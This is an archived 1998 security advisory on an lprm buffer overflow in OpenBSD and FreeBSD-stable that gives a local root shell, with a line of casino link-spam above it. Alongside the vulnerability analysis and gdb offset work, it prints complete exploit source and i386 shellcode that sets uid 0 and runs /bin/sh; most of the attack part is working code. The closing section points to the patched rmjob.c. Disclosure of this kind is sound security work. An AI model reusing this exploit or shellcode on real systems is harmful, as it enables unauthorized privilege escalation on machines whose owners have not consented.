Casinos Not On GamstopNon Gamstop CasinosCasinos Not On GamstopOnline Casinos UKNon Gamstop Casino
24th Apr 1998 [SBWID-162]
COMMAND
	    lprm
SYSTEMS AFFECTED
	    OpenBSD, FreeBSD
PROBLEM
	    Niall Smart found how lprm  in OpenBSD and FreeBSD-stable gives  a
	    root shell under the following conditions:
	
	        - You  have  a  remote  printer  configured in  /etc/printcap.
	          (ie. a printer with a non-null "rm" capability)
	        - The length of the attacker's username plus the length of the
	          "rp" capability for the remote printer is >= 7.  If there is
	          no explicit "rp" capability  specified then the system  will
	          use  the  default,  which  has  length  2,  meaning that the
	          attacker's username  must be  >= 5  characters long  in this
	          case
	        - The hostname of the remote printer (ie. the "rm" capability)
	          resolves, and  neither the  canonical name  returned for the
	          host nor any of its aliases match the local hostname.   (ie.
	          it will not work if  the "rm" capability points back  at the
	          local machine, which would be indicative of misconfiguration
	          anyway).
	
	    It is not strictly necessary for  the lpd daemon to be running  on
	    the remote or local host for  the exploit to work.  lprm  allows a
	    user  to  remove  all  his  jobs  on  a print queue by passing his
	    username as an argument to  lprm, e.g. "lprm  -P  PRINTER bloggs".
	    Only root  is allowed  to specify  usernames other  than his  own.
	    Passing your own username more  than once (as in "lprm  -P PRINTER
	    bloggs bloggs") is allowed, but redundant.  The user(s)  specified
	    are  stored  in  a  global  array  called  `user'.  If the printer
	    specified is  a remote  printer then  lprm connects  to the remote
	    lpd daemon and sends it a  message of the form "\5 XX  USER1 USER2
	    ...\n" where  XX is  the "rp"  capability of  the remote  printer,
	    or the string "lp" if  this capability has not been  specified and
	    USERN  are  the  users  from  the  command  line.   This   happens
	    in rmremote() of rmjob.c:
	
	        317  void
	        318  rmremote()
	        319  {
	        320          register char *cp;
	        321          register int i, rem;
	        322          char buf[BUFSIZ];
	        323          void (*savealrm)(int);
	        324
	        325          if (!remote)
	        326                  return; /* not sending to a remote machine */
	        327
	        328          /*
	        329           * Flush stdout so the user can see what has been deleted
	        330           * while we wait (possibly) for the connection.
	        331           */
	        332          fflush(stdout);
	        333
	        334          (void)snprintf(buf, sizeof(buf), "\5%s %s", RP, all ? "-all" : person);
	        335          cp = buf;
	        336          for (i = 0; i < users && cp-buf+1+strlen(user[i]) < sizeof(buf); i++) {
	        337                  cp += strlen(cp);
	        338                  *cp++ = ' ';
	        339                  strcpy(cp, user[i]);
	        340          }
	
	    The  problem  lies  on  lines  334-335.   Note  that  a  string is
	    snprintf()'ed into buf and then cp is initialised to point at  the
	    beginning of the buffer.  Therefore on the first iteration  around
	    the loop on line 336 cp - buf = 0.  This means that we can pass  a
	    string  of  length  up  to  length  sizeof(buf)  - 1 - 1 = 1022 in
	    user[0] (which is the first user on the command line).
	    In the loop, cp is advanced by the length of the string it  points
	    to plus  one character.   On the  first iteration  this is  P +  3
	    characters where P = strlen(RP) + strlen(person)  (RP is the  "rp"
	    capability  for  the  printer  (default:  "lp"),  person  is  your
	    username). Then the contents of user[i] is appended to cp.
	    If we pass a string of length 1022 characters in user[0] then  the
	    buffer will be overflowed  by (1022 + P  + 3 + 1)  - 1024 = P  + 2
	    bytes (including the terminating '\0') on the first iteratation of
	    the loop.   If RP =  "lp" (the default)  this means that  the user
	    bloggs can overflow by 10 bytes, the last of which will be a  null
	    byte.
	    So, is this  useful for bloggs?   Looking at the  source it  would
	    appear not, there are three doubleword sized variables (cp, i  and
	    rem = 12 bytes) declared before  buf, meaning he can't get to  the
	    saved EIP with his 10 byte overflow, and there doesn't seem to  be
	    any way  to get  what we  want from  manipulating these variables.
	    Note  that  if  the  programmer  had declared the function pointer
	    savealrm before  the buffer  then we  could "restore"  the SIGALRM
	    handler to an  arbitrary location.   But -- those  three variables
	    are declared with  the register attribute!   For the  uninitiated,
	    this is  a hint  to the  compiler to  place those  variables in  a
	    register if possible for speed  of access.  Assuming the  compiler
	    can do  this, it  also has  the side  effect of  not requiring the
	    compiler to  allocate memory  for the  variable if  its address is
	    not  taken.   A  quick  look  through  the  rest of the source for
	    rmremote() shows  that their  address is  not taken  -- things are
	    looking up!   Lets compile  our own  static version  of lprm  with
	    debugging  on  using  the  same  optimisation  flags as the system
	    Makefile  and  look  at  the  assembly  produced  to see where the
	    compiler puts cp, i and rem.
	
	        $ make lprm CFLAGS="-g -static"
	        $ gdb lprm
	        (gdb) x/5i rmremote
	        0x2464 <rmremote>:      pushl  %ebp
	        0x2465 <rmremote+1>:    movl   %esp,%ebp
	        0x2467 <rmremote+3>:    subl   $0x408,%esp
	        0x246d <rmremote+9>:    pushl  %edi
	        0x246e <rmremote+10>:   pushl  %esi
	        (gdb) p 0x408
	        $3 = 1032
	
	    So,  it  allocates  1032  bytes  on  the stack, presumably this is
	    composed of one of  cp, i and rem,  then the 1024 byte  buffer and
	    then savealrm.   This would  means that  bloggs can  overflow  the
	    saved EBP, and even write up  to two bytes to the saved  EIP. (the
	    last of which  would be NULL).   Unfortunately this is  useless on
	    the Intel i386 because the MSB(yte) of the EIP is located  highest
	    on the stack  meaning we can  only influence the  two LSBs of  the
	    the EIP  and since  our buffer  is located  up at  the top  of the
	    address space we need the MSB  of the saved EIP to look  like 0xFF
	    or 0xEF  and it  is probably  0x00 since  rmremote would have been
	    called from the text segment which is located at the bottom of the
	    address space.  On a big endian machine we *might* have been  able
	    to  do  something  with  this,  but  it  would not have been easy.
	    However, Luck is on our  side again, looking down further  through
	    the asm we  notice that gcc  has actually allocated  the buffer at
	    $esp - 1024.   Look at the pushing  of the arguments for  the call
	    to snprintf:
	
	        (gdb) x/11i
	        0x1fbc <rmremote+72>:   movl   $0x1550,%eax
	        0x1fc1 <rmremote+77>:   pushl  %eax
	        0x1fc2 <rmremote+78>:   movl   0x3ea88,%eax
	        0x1fc7 <rmremote+83>:   pushl  %eax
	        0x1fc8 <rmremote+84>:   pushl  $0x1f3a
	        0x1fcd <rmremote+89>:   pushl  $0x400
	        0x1fd2 <rmremote+94>:   leal   0xfffffc00(%ebp),%eax
	        0x1fd8 <rmremote+100>:  pushl  %eax
	        0x1fd9 <rmremote+101>:  call   0x21630 <snprintf>
	        (gdb) p -(~0xfffffc00 + 1)
	        $2 = -1024
	
	    This means that  we only need  a nine byte  overflow!  (9  = 4 for
	    saved EBP + 4 for saved  EIP + 1 null terminating '\0'  which must
	    not be in saved EIP).  Lets just check that we have done our  sums
	    right before moving on to write  the exploit: where do we put  the
	    bytes into user[0] so that they overwrite the EIP?  Well,  writing
	    1028 bytes into buf leaves us  just before the EIP, to write  this
	    many bytes we  put 1028 -  (P + 3)  bytes in user[0],  the (P + 3)
	    comes from the data already placed in the buffer by the  snprintf.
	    For the user  bloggs on a  system where RP  = "lp", P  = 8.   Lets
	    check this out  on our own  system: (copy lprm  to get it  to core
	    dump):
	
	        $ id -un
	        bloggs
	        $ cp /usr/bin/lprm /tmp
	        $ /tmp/lprm -P remote `perl -e '
	        > print "A" x (1028 - 8 - 3);
	        > printf("%c%c%c%c", 0xEF, 0xBE, 0xAD, 0xDE);
	        > '`
	        connection to remote is down
	        zsh: segmentation fault (core dumped)  /tmp/lprm -P remote
	        $ gdb --quiet lprm /tmp/lprm.core
	        Core was generated by `lprm'.
	        Program terminated with signal 11, Segmentation fault.
	        #0  0xdeadbeef in ?? ()
	        (gdb)
	
	    It's all pretty much plain  sailing from here on, the  main reason
	    for text going  on is to  demonstrate the leeto  method of getting
	    the shellcode that wasn't used  before.  Just before the  "ret" at
	    the end of rmremote() we want the stack to look like this:
	
	                +-----------+
	        ESP  -> |    egg    |   --------\
	                +-----------+           |
	                |   space   |           |
	                |   space   |           |
	                |   space   |           |
	                +-----------+           |
	                |           |           |
	                |           |           |
	                \ shellcode \           |
	                |           |           |
	                |           |           |
	                +-----------+           |
	                |    nop    |           |
	                |    nop    |   <<------/
	                |           |
	
	    The  ret  instruction  pops  the  egg  off into the EIP which will
	    hopefully then  point somewhere  in the  nops causing  the CPU  to
	    chase up the stack  to the shellcode.   The shellcode itself is  a
	    fairly  standard  affair,  it  performs  a  seteuid(0), setuid(0),
	    exit(execve("/bin/sh", { "sh", 0 }, 0)) using the standard  tricks
	    of xoring  and subtraction  of negative  values to  get/avoid null
	    bytes and  a call/ret  to obtain  the value  of the  EIP so it can
	    locate  the  address  of  the  "shAA/bin/shBCCCCDDDD" string.  The
	    neeto  bit  is  that  the  shellcode  is  left in source form, the
	    assembler  generates  a  label  for  the  beginning and end of the
	    generated  code  so  we  can  just  memcpy  the  machine  language
	    representation into the  buffer.  This  makes it easier  to change
	    and test the  shellcode as you  go, makes the  exploit more easily
	    portable  and   avoids  the   tedious  task   of  hexdumping   the
	    instructions.   As  discussed  before,   the  egg  is  placed   at
	    user[1028 - P - 3], we want the shellcode to be as near the top as
	    possible,  but  we  need  to  leave  12  bytes  for  the  4  pushl
	    instructions  in  the  shell  code  as  the  ESP  will be equal to
	    &egg + 4 when we enter the shellcode.  (only 12 bytes because  the
	    first push goes onto the egg).  This means we memcpy the shellcode
	    into &user[1028 - P - 3 - 12 - SCSZ] where SCSZ is the size of the
	    shell code.  The code is below.  To compile run:
	
	        cc lprm-bsd.c shellcode.S -o lprm-bsd
	
	    And now, code:
	
	    /*
	       lprm-bsd.c - Exploit for lprm vulnerability in
	                    OpenBSD and FreeBSD-stable
	       k0ded by Niall Smart, [email protected], 1998.
	       The original version of this file contains a blatant error
	       which anyone who is capable of understanding C will be able
	       to locate and remove.  Please do not distribute this file
	       without this idiot-avoidance measure.
	       Typical egg on FreeBSD: 0xEFBFCFDF
	       Typical egg on OpenBSD: 0xEFBFD648
	       The exploit might take a while to drop you to a root shell
	       depending on the timeout ("tm" capability) specified in the
	       printcap file.
	    */
	    #include <sys/types.h>
	    #include <pwd.h>
	    #include <err.h>
	    #include <stdio.h>
	    #include <stdlib.h>
	    #include <string.h>
	    #include <unistd.h>
	    extern void     BEGIN_SC();
	    extern void     END_SC();
	    int
	    main(int argc, char** argv)
	    {
	            char            buf[4096];
	            struct passwd*  pw;
	            char*           cgstr;
	            char*           cgbuf;
	            char*           printer;
	            char*           printcaps[] = { "/etc/printcap", 0 };
	            int             sc_size;  /* size of shell code */
	            int             P;        /* strlen(RP) + strlen(person) */
	            unsigned        egg;      /* value to overwrite saved EIP with */
	            if (argc != 3) {
	                    fprintf(stderr, "usage: %s <printername> <egg>\n", argv[0]);
	                    exit(0);
	            }
	            if ( (pw = getpwuid(getuid())) == NULL)
	                    errx(1, "no password entry for your user-id");
	            printer = argv[1];
	            egg = (unsigned) strtoul(argv[2], NULL, 0);
	            if (cgetent(&cgstr, printcaps, printer) < 0)
	                    errx(1, "can't find printer: %s", printer);
	            if (cgetstr(cgstr, "rm", &cgbuf) < 0 || cgbuf[0] == '\0')
	                    errx(1, "printer is not remote: %s", printer);
	            if (cgetstr(cgstr, "rp", &cgbuf) < 0)
	                    cgbuf = "lp";
	            sc_size = (char*) END_SC - (char*) BEGIN_SC;
	            /* We can append 1022 bytes to whatever is in the buffer.
	               We need to get up to 1032 bytes to reach the saved EIP,
	               so there must be at least 10 bytes placed in the buffer
	               by the snprintf on line 337 of rmjob.c and the subsequent
	               *cp++ = '\0';  3 = ' ' + ' ' + '\5' */
	            if ( (P = (strlen(pw->pw_name) + strlen(cgbuf))) < 7)
	                    errx(1, "your username is too short");
	            fprintf(stderr, "P = %d\n", P);
	            fprintf(stderr, "shellcode = %d bytes @ %d\n", sc_size, 1028 - P - 3 - 12 - sc_size);
	            fprintf(stderr, "egg = 0x%X@%d\n", egg, 1028 - P - 3);
	            /* fill with NOP */
	            memset(buf, 0x90, sizeof(buf));
	            /* put letter in first byte, this fucker took me eight hours to debug. */
	            buf[0] = 'A';
	            /* copy in shellcode, we leave 12 bytes for the four pushes before the int 0x80 */
	            memcpy(buf + 1028 - P - 3 - 12 - sc_size, (void*) BEGIN_SC, sc_size);
	            /* finally, set egg and null terminate */
	            *((int*)&buf[1028 - P - 3]) = egg;
	            buf[1022] = '\0';
	            memset(buf, 0, sizeof(buf));
	            execl("/usr/bin/lprm", "lprm", "-P", printer, buf, 0);
	            fprintf(stderr, "doh.\n");
	            return 0;
	    }
	    /*
	       shellcode.S - generic i386 shell code
	       k0d3d by Niall Smart, [email protected], 1998.
	       Please send me platform-specific mods.
	       Example use:
	            #include <stdio.h>
	            #include <string.h>
	            extern void     BEGIN_SC();
	            extern void     END_SC();
	            int
	            main()
	            {
	                    char    buf[1024];
	                    memcpy(buf, (void*) BEGIN_SC, (long) END_SC - (long) BEGIN_SC);
	                    ((void (*)(void)) buf)();
	                    return 0;
	            }
	        gcc -Wall main.c shellcode.S -o main && ./main
	    */
	    #if defined(__FreeBSD__) || defined(__OpenBSD__)
	    #define EXECVE          3B
	    #define EXIT            01
	    #define SETUID          17
	    #define SETEUID         B7
	    #define KERNCALL        int $0x80
	    #else
	    #error This OS not currently supported.
	    #endif
	    #define _EXECVE_A       CONCAT($0x555555, EXECVE)
	    #define _EXECVE_B       CONCAT($0xAAAAAA, EXECVE)
	    #define _EXIT_A         CONCAT($0x555555, EXIT)
	    #define _EXIT_B         CONCAT($0xAAAAAA, EXIT)
	    #define _SETUID_A       CONCAT($0x555555, SETUID)
	    #define _SETUID_B       CONCAT($0xAAAAAA, SETUID)
	    #define _SETEUID_A      CONCAT($0x555555, SETEUID)
	    #define _SETEUID_B      CONCAT($0xAAAAAA, SETEUID)
	    #define CONCAT(x, y)    CONCAT2(x, y)
	    #define CONCAT2(x, y)   x ## y
	    .global         _BEGIN_SC
	    .global         _END_SC
	                    .data
	    _BEGIN_SC:      jmp 0x4                 // jump past next two isns
	                    movl (%esp), %eax       // copy saved EIP to eax
	                    ret                     // return to caller
	                    xorl %ebx, %ebx         // zero ebx
	                    pushl %ebx              // sete?uid(0)
	                    pushl %ebx              // dummy, kernel expects extra frame pointer
	                    movl _SETEUID_A, %eax   //
	                    andl _SETEUID_B, %eax   // load syscall number
	                    KERNCALL                // make the call
	                    movl _SETUID_A, %eax    //
	                    andl _SETUID_B, %eax    // load syscall number
	                    KERNCALL                // make the call
	                    subl $-8, %esp          // push stack back up
	                    call -40                // call, pushing addr of next isn onto stack
	                    addl $53, %eax          // make eax point to the string
	                    movb %bl, 2(%eax)       // append '\0' to "sh"
	                    movb %bl, 11(%eax)      // append '\0' to "/bin/sh"
	                    movl %eax, 12(%eax)     // argv[0] = "sh"
	                    movl %ebx, 16(%eax)     // argv[1] = 0
	                    pushl %ebx              // push envv
	                    movl %eax, %ebx         //
	                    subl $-12, %ebx         // -(-12) = 12, avoid null bytes
	                    pushl %ebx              // push argv
	                    subl $-4, %eax          // -(-4) = 4, avoid null bytes
	                    pushl %eax              // push path
	                    pushl %eax              // dummy, kernel expects extra frame pointer
	                    movl _EXECVE_A, %eax    //
	                    andl _EXECVE_B, %eax    // load syscall number
	                    KERNCALL                // make the call
	                    pushl %eax              // push return code from execve
	                    pushl %eax              //
	                    movl _EXIT_A, %eax      // we shouldn't have gotten here, try and
	                    andl _EXIT_B, %eax      // exit with return code from execve
	                    KERNCALL                // JERONIMO!
	                    .ascii "shAA/bin/shBCCCCDDDD"
	                    //      01234567890123456789
	    _END_SC:
	
SOLUTION
	    This  vulnerability   is  not   present  in   FreeBSD-current   or
	    OpenBSD-current.  Patches  to  fix  this  vulnerability  have been
	    applied to the OpenBSD  and FreeBSD-stable source tree's.   Obtain
	    the latest version of the file:
	
	        /src/usr.sbin/lpr/common_source/rmjob.c
	
	    and recompile the lpr  subsystem to protect yourself  against this
	    attack.   See  www.openbsd.org/security.html  and  www.freebsd.org
	    for details.
	

Internet highlights